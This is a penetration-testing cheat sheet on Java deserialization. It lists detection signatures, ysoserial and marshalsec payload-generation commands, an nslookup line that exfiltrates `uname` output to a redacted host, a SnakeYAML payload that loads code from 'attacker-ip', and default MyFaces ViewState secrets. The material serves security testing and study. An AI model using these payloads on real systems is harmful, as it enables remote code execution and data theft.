# Java Deserialization > Java serialization is the process of converting a Java object’s state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the `Serializable` interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs. ## Summary * [Detection](#detection) * [Tools](#tools) * [Ysoserial](#ysoserial) * [Burp extensions using ysoserial](#burp-extensionsl) * [Alternative Tooling](#alternative-tooling) * [YAML Deserialization](#yaml-deserialization) * [ViewState](#viewstate) * [References](#references) ## Detection - `"AC ED 00 05"` in Hex * `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol. * `00 05`: STREAM_VERSION. The serialization version. - `"rO0"` in Base64 - `Content-Type` = "application/x-java-serialized-object" - `"H4sIAAAAAAAAAJ"` in gzip(base64) ## Tools ### Ysoserial [frohoff/ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. ```java java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64 ``` **List of payloads included in ysoserial:** | Payload | Authors | Dependencies | | ------------------- | -------------------------------------- | --- | | AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 | | BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 | | C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 | | Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 | | Clojure | @JackOfMostTrades | clojure:1.8.0 | | CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 | | CommonsCollections1 | @frohoff | commons-collections:3.1 | | CommonsCollections2 | @frohoff | commons-collections4:4.0 | | CommonsCollections3 | @frohoff | commons-collections:3.1 | | CommonsCollections4 | @frohoff | commons-collections4:4.0 | | CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 | | CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 | | CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 | | FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4| | Groovy1 | @frohoff | groovy:2.3.9 | | Hibernate1 | @mbechler | | | Hibernate2 | @mbechler | | | JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 | | JRMPClient | @mbechler | | | JRMPListener | @mbechler | | | JSON1 | @mbechler | json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 | | JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 | | Jdk7u21 | @frohoff | | | Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 | | MozillaRhino1 | @matthias_kaiser | js:1.7R2 | | MozillaRhino2 | @_tint0 | js:1.7R2 | | Myfaces1 | @mbechler | | | Myfaces2 | @mbechler | | | ROME | @mbechler | rome:1.0 | | Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE | | Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 | | URLDNS | @gebl | | | Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 | | Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 | ### Burp extensions - [NetSPI/JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) - Burp extension to perform Java Deserialization Attacks - [federicodotta/Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) - All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities - [summitt/burp-ysoserial](https://github.com/summitt/burp-ysoserial) - YSOSERIAL Integration with Burp Suite - [DirectDefense/SuperSerial](https://github.com/DirectDefense/SuperSerial) - Burp Java Deserialization Vulnerability Identification - [DirectDefense/SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) - Java Deserialization Vulnerability Active Identification Burp Extender ### Alternative Tooling - [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) - Pure JRE 8 RCE Deserialization gadget - [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool - [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) - A fork of the original ysoserial application - [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool - [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form - [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe) - Exploiting Deserialization to Brute-Force the Remote Classpath - [k3idii/Deserek](https://github.com/k3idii/Deserek) - Python code to Serialize and Unserialize java binary serialization format. ```java java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin python deserek.py yss_base.bin --format python > yss_url.py python yss_url.py yss_new.bin java -cp JavaSerializationTestSuite DeSerial yss_new.bin ``` - [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution ```java $ java -cp marshalsec.jar marshalsec. [-a] [-v] [-t] [ []] $ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc" $ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389 // -a - generates/tests all payloads for that marshaller // -t - runs in test mode, unmarshalling the generated payloads after generating them. // -v - verbose mode, e.g. also shows the generated payload in test mode. // gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller. // arguments - Gadget specific arguments ``` Payload generators for the following marshallers are included: | Marshaller | Gadget Impact | | ------------------------------- | ---------------------------------------------- | | BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization various third party libraries RCEs | | Hessian|Burlap | various third party RCEs | | Castor | dependency library RCE | | Jackson | **possible JDK only RCE**, various third party RCEs | | Java | yet another third party RCE | | JsonIO | **JDK only RCE** | | JYAML | **JDK only RCE** | | Kryo | third party RCEs | | KryoAltStrategy | **JDK only RCE** | | Red5AMF(0|3) | **JDK only RCE** | | SnakeYAML | **JDK only RCEs** | | XStream | **JDK only RCEs** | | YAMLBeans | third party RCE | ## YAML Deserialization SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YAML Ain't Markup Language) data. It provides an easy-to-use API for working with YAML, a human-readable data serialization standard commonly used for configuration files and data exchange. ```yaml !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker-ip/"] ]] ] ``` ## ViewState In Java, ViewState refers to the mechanism used by frameworks like JavaServer Faces (JSF) to maintain the state of UI components between HTTP requests in web applications. There are 2 major implementations: * Oracle Mojarra (JSF reference implementation) * Apache MyFaces **Tools**: * [joaomatosf/jexboss](https://github.com/joaomatosf/jexboss) - JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool * [Synacktiv-contrib/inyourface](https://github.com/Synacktiv-contrib/inyourface) - InYourFace is a software used to patch unencrypted and unsigned JSF ViewStates. ### Encoding | Encoding | Starts with | | ------------- | ----------- | | base64 | `rO0` | | base64 + gzip | `H4sIAAA` | ### Storage The `javax.faces.STATE_SAVING_METHOD` is a configuration parameter in JavaServer Faces (JSF). It specifies how the framework should save the state of a component tree (the structure and data of UI components on a page) between HTTP requests. The storage method can also be inferred from the viewstate representation in the HTML body. * **Server side** storage: `value="-XXX:-XXXX"` * **Client side** storage: `base64 + gzip + Java Object` ### Encryption By default MyFaces uses DES as encryption algorithm and HMAC-SHA1 to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like AES and HMAC-SHA256. | Encryption Algorithm | HMAC | | -------------------- | ----------- | | DES ECB (default) | HMAC-SHA1 | Supported encryption methods are BlowFish, 3DES, AES and are defined by a context parameter. The value of these parameters and their secrets can be found inside these XML clauses. ```xml org.apache.myfaces.MAC_ALGORITHM org.apache.myfaces.SECRET org.apache.myfaces.MAC_SECRET ``` Common secrets from the [documentation](https://cwiki.apache.org/confluence/display/MYFACES2/Secure+Your+Application). | Name | Value | | -------------------- | ---------------------------------- | | AES CBC/PKCS5Padding | `NzY1NDMyMTA3NjU0MzIxMA==` | | DES | `NzY1NDMyMTA=<` | | DESede | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` | | Blowfish | `NzY1NDMyMTA3NjU0MzIxMA` | | AES CBC | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` | | AES CBC IV | `NzY1NDMyMTA3NjU0MzIxMA==` | * **Encryption**: Data -> encrypt -> hmac_sha1_sign -> b64_encode -> url_encode -> ViewState * **Decryption**: ViewState -> url_decode -> b64_decode -> hmac_sha1_unsign -> decrypt -> Data ## References - [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) - [Hack The Box - Arkham - 0xRick - August 10, 2019](https://0xrick.github.io/hack-the-box/arkham/) - [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a) - [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html) - [Java Deserialization in ViewState - Haboob Team - December 23, 2020](https://www.exploit-db.com/docs/48126) - [Java-Deserialization-Cheat-Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md) - [JSF ViewState upside-down - Renaud Dubourguais, Nicolas Collignon - March 15, 2016](https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf) - [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) - [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) - [On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96) - [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464) - [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) - [Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)